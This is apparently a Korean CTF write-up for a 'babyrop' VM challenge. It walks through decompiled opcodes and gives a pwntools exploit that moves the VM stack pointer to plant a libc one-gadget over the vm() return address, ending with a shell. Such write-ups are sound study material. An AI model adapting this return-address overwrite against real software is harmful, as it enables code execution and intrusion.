Analysis
main()
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
setup();
read_str(&buf, 0x100, '\n');
vm(&buf, &offset, &stack, &check);
exit(0);
}
main
함수는 위와 같습니다.
setup()
unsigned __int64 setup()
{
unsigned __int64 v0; // ST08_8
v0 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
alarm(100u);
return __readfsqword(0x28u) ^ v0;
}
흔-한 바이너리 설정입니다.
read_str()
__int64 __fastcall read_str(_BYTE *buf, signed int size, char tmp)
{
char last; // [rsp+0h] [rbp-20h]
signed int i; // [rsp+10h] [rbp-10h]
last = tmp;
for ( i = 0; i < size; ++i )
{
if ( read(0, &buf[i], 1uLL) != 1 )
exit(-1);
if ( buf[i] == last )
{
buf[i] = '\0';
return i;
}
}
buf[size - 1] = 0;
return (size - 1);
}
buf
에 tmp(last)
가 나오기 전까지 입력을 받습니당.
vm()
signed __int64 __fastcall vm(_BYTE *buf, _QWORD *offset, __int64 stack, __int64 a4)
{
__int64 v4; // rax
signed __int64 result; // rax
_QWORD *check; // [rsp+0h] [rbp-80h]
_BYTE *param; // [rsp+8h] [rbp-78h]
char tmp; // [rsp+20h] [rbp-60h]
unsigned __int64 v9; // [rsp+78h] [rbp-8h]
param = stack;
check = a4;
v9 = __readfsqword(0x28u);
memset(&tmp, 0, 0x50uLL);
*stack = &tmp;
*(stack + 0x10) = 10;
*(stack + 8) = *stack + 0x50LL;
while ( buf[*offset] )
{
v4 = buf[*offset];
switch ( off_14B4 )
{
case 0u:
*offset = 0LL;
return 1LL;
case 8u:
sub_D0E(param, buf[++*offset]);
*offset += 4LL;
break;
case 0x12u:
sub_D92(param, buf[++*offset]);
++*offset;
break;
case 0x15u:
sub_ADF(param, buf[++*offset]);
*offset += 8LL;
break;
case 0x21u:
sub_BB9(param);
++*offset;
break;
case 0x26u:
sub_B62(param, buf[++*offset]);
++*offset;
break;
case 0x28u:
++*offset;
if ( !sub_C26(param, check) )
exit(0);
return result;
case 0x30u:
sub_CB4(param, buf[++*offset]);
++*offset;
break;
case 0x34u:
++*offset;
sub_E17(param);
break;
case 0x38u:
++*offset;
sub_E97(param);
break;
case 0x42u:
sub_EDF(param);
++*offset;
break;
case 0x51u: // plus
plus(param);
++*offset;
break;
case 0x52u: // minus
minus(param);
++*offset;
break;
case 0x56u:
mov(param, *&buf[++*offset]); // mov
*offset += 4LL;
break;
default:
exit(0);
return result;
}
}
return 1LL;
}
핵심 부분입니다. 총 14개의 instruction
이 있습니다.
*stack = &tmp;
*(stack + 0x10) = 10;
*(stack + 8) = *stack + 0x50LL;
위와같은 코드를 통해서 스택 주소를 stack
전역변수에 넣어줍니다.
그리고 stack + 0x10
의 주소에 10을 넣어두고, stack + 8
의 주소에 &tmp + 0x50
을 저장합니다.
instruction
은 필요한 부분만 보겠습니다.
case 0x21u:
sub_BB9(param);
++*offset;
break;
signed __int64 __fastcall sub_BB9(_BYTE *stack)
{
**stack += *(*stack - 8LL);
*(*stack - 8LL) = 0LL;
return 1LL;
}
현재 stack
전역변수에 담긴 주소에 stack - 8
에 담긴 값을 더해줍니다.
그 후 stack - 8
에 담긴 값은 0으로 초기화 시켜줍니다.
case 0x28u:
++*offset;
if ( !sub_C26(param, check) )
exit(0);
return result;
signed __int64 __fastcall sub_C26(__int64 stack, _QWORD *check)
{
if ( !*(stack + 0x10) && *check > 1LL )
return 0LL;
*stack += 0x50LL;
*(stack + 0x10) -= 10;
++*check;
return 1LL;
}
stack + 0x10
에 값이 존재하는지 체크하고, 그다음 check
전역변수의 값이 1보다 큰지 확인합니다.
stack
의 값을 0x50만큼 증가시키며, stack
전역변수 + 0x10에 위치한 값을 10만큼 빼줍니다.
case 0x34u:
++*offset;
sub_E17(param);
break;
signed __int64 __fastcall sub_E17(_BYTE *a1)
{
_BYTE *v1; // ST08_8
v1 = a1;
++*(a1 + 4);
*v1 -= 8LL;
**v1 = *(*v1 + 8LL);
*(*a1 + 8LL) = '\0';
return 1LL;
}
먼저, v1
을 -8합니다.
그리고 현재 v1
의 주소에 v1 + 8
값을 넣고, v1 + 8
을 0으로 초기화합니다.
즉, 현재 stack
전역변수의 값이 0x108이라고 하고, 값이 아래와 같이 들어가있다면..
stack : 0x108
0x100 : 11111111
0x108 : 22222222
0x110 : 33333333
해당 명령을 실행 하고 나면
stack : 0x100
0x100 : 22222222
0x108 : 00000000
0x110 : 33333333
이렇게 됩니다.
case 0x56u:
mov(param, *&buf[++*offset]); // mov
*offset += 4LL;
break;
signed __int64 __fastcall mov(_QWORD **a1, int a2)
{
**a1 = a2;
return 1LL;
}
"\x56"
다음에 입력한 4byte
를 stack
주소에 넣습니다.
Exploit
stack
주소를 우리가 원하는대로 조절 가능하므로, return
부분에 oneshot
을 박아야합니다.
main fucntion return
주소는 기본적으로 __libc_start_main
의 값이므로 이를 이용하여 특정 값을 더해 one_shot
으로 만드려고 했습니다.
하지만, main
함수는 exit(0)
으로 프로그램을 종료해버립니다.
그래서 vm
함수의 return
주소를 변경해야겠다고 생각하였습니다.
일단, 0x28 instruction
을 통하여 스택을 main
함수의 return
+ 8까지 쭉 땡겨줍니다.
그 후, 스택에 0x56 instruction
을 통하여 one_shot address - stack
값을 적어줍니다.
그리고 0x21 instruction
으로 return + 8
에 입력한 one_shot address - stack
값과 return
주소를 더해주어 oneshot
을 만들 수 있습니다.
마지막으로 0x34 instruction
으로 vm
함수의 return
에 oneshot
을 배치하면 끝입니다.
from pwn import *
binary = "./babyrop"
e = ELF(binary)
libc = e.libc
r = process(binary, aslr = False)
pause()
payload = ""
payload += chr(0x28) * 2
payload += chr(0x56) + p32(0)
payload += chr(0x34) * 2
payload += chr(0x56) + p32(0x24a3a)
payload += chr(0x21)
payload += chr(0x34) * 5
r.sendline(payload)
r.interactive()
juntae@ubuntu:~/ctf/d^3ctf$ p ex.py
[*] '/home/juntae/ctf/d^3ctf/babyrop'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './babyrop': pid 8462
[!] ASLR is disabled!
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ id
uid=1000(juntae) gid=1000(juntae) groups=1000(juntae)
'System Hacking (pwnable) > CTF Write-up' 카테고리의 다른 글
[DefenitCTF] Variable-machine ( write-up ) (0) | 2020.06.09 |
---|---|
[RCTF] bf ( write-up ) (0) | 2020.06.02 |
[codegate] 7amebox1 ( write-up ) (0) | 2020.02.26 |
[HITCON] children_tcahce ( write-up ) (0) | 2019.12.18 |
[SECCON] Secure Keymanager ( write-up ) (0) | 2019.12.12 |